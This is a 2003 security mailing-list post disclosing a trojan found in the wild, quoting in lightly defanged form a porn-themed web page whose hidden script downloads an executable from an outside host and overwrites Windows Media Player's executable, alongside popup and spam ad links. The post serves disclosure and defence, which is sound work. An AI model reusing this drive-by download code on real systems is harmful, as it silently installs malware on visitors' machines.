full-disclosure - interesting trojan in the wild

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Message-ID: <20031008153246.1C9DD38108@mail.secnap.net>
From: scheidell at secnap.net (Michael Scheidell)
Subject: interesting trojan in the wild

This just found in the wild:

I replaced the < character with a ^ to make sure the script doesnt 
inadvertantly run on your machine

this replaces your media player with a trojan, and I'm assuming on MSIE 
is vulnerable

heres the code

^script language="JavaScript">
^!--
document.cookie='from=noref; expires=Wednesday, 8-Oct-03 23:17:30 GMT;';
//-->
^/script>
^html>

^head>
^script language="Javascript">
^!--
var exit=true;
function exitmoney() { if (exit)
open("http://www.freemedias.com/pop.html","new_window"); }
//-->
^/script>

^meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
^meta name="GENERATOR" content="Microsoft FrontPage 4.0">
^meta name="ProgId" content="FrontPage.Editor.Document">
^title>FREE PORN GALLERY^/title>
^/head>

^body onUnload="exitmoney()">
^textarea id="code" style="display:none;">

    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://www.freemedias.com/404/server.exe",0);
    x.Send();
   
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media 
Player\\wmplayer.exe",2);
    location.href = "mms://";

^/textarea>

^script language="javascript">

    function preparecode(code) {
        result = '';
        lines = code.split(/\r\n/);
        for (i=0;i^lines.length;i++) {
       
            line = lines[i];
            line = line.replace(/^\s+/,"");
            line = line.replace(/\s+$/,"");
            line = line.replace(/'/g,"\\'");
            line = line.replace(/[\\]/g,"\\\\");
            line = line.replace(/[/]/g,"%2f");

            if (line != '') {
                result += line +'\\r\\n';
            }
        }
        return result;
    }
   
    function doit() {
        mycode = preparecode(document.all.code.value);
        myURL = "file:javascript:eval('" + mycode + "')";
        window.open(myURL,"_media");
    }
   

    window.open("ieerror.php","_media");
   
    setTimeout("doit()", 3000);
   
   
^/script>
^p align="center">
^A 
href="http://www.vigrx.com/clicks/clickthrough.html?a=sexxxsite&amp;b=172" 
onclick="exit=false">^IMG
src="vigpillhorizontal15.gif" border=0 width="468" height="80">^/A>^br>
^b>EVERY TIME YOU REFRESH THIS PAGE NEW PICTURES WILL SHOW!.^/b>
^p align="center">
^script src="start.php">^/script>
^script src="randpic.php?1">^/script>
^script src="randpic.php?2">^/script>
^script src="randpic.php?3">^/script>
^script src="randpic.php?4">^/script>^br>
^script src="randpic.php?5">^/script>
^script src="randpic.php?6">^/script>
^script src="randpic.php?7">^/script>
^script src="randpic.php?8">^/script>^br>
^script src="randpic.php?9">^/script>
^script src="randpic.php?10">^/script>
^script src="randpic.php?11">^/script>
^script src="randpic.php?12">^/script>^br>
^script src="end.php">^/script>
^/p>
^p align="center">^font face="Arial Narrow" size="4">^b>NO CREDIT CARD - 
NO BANK
ACCOUNT - NO AGE VERIFICATION^/b>^/font>^a 
href="http://c.fsx.com/c?z=548,81084,8,pffa,pinkforfree.com/" 
onclick="exit=false">^font face="Arial Narrow" size="4">^b>^br>
^/b>^/font>^img 
src="http://www.pinkforfree.com/banners/banners/p4f_468-05.jpg" 
width="468" height="60">^br>
^/a>^b>100% FREE HIGH QUALITY PORN^/b>^/p>
^/body>

^/html>




-- 
Michael Scheidell
SECNAP Network Security, LLC 
Main: 561-368-9561 / www.secnap.net
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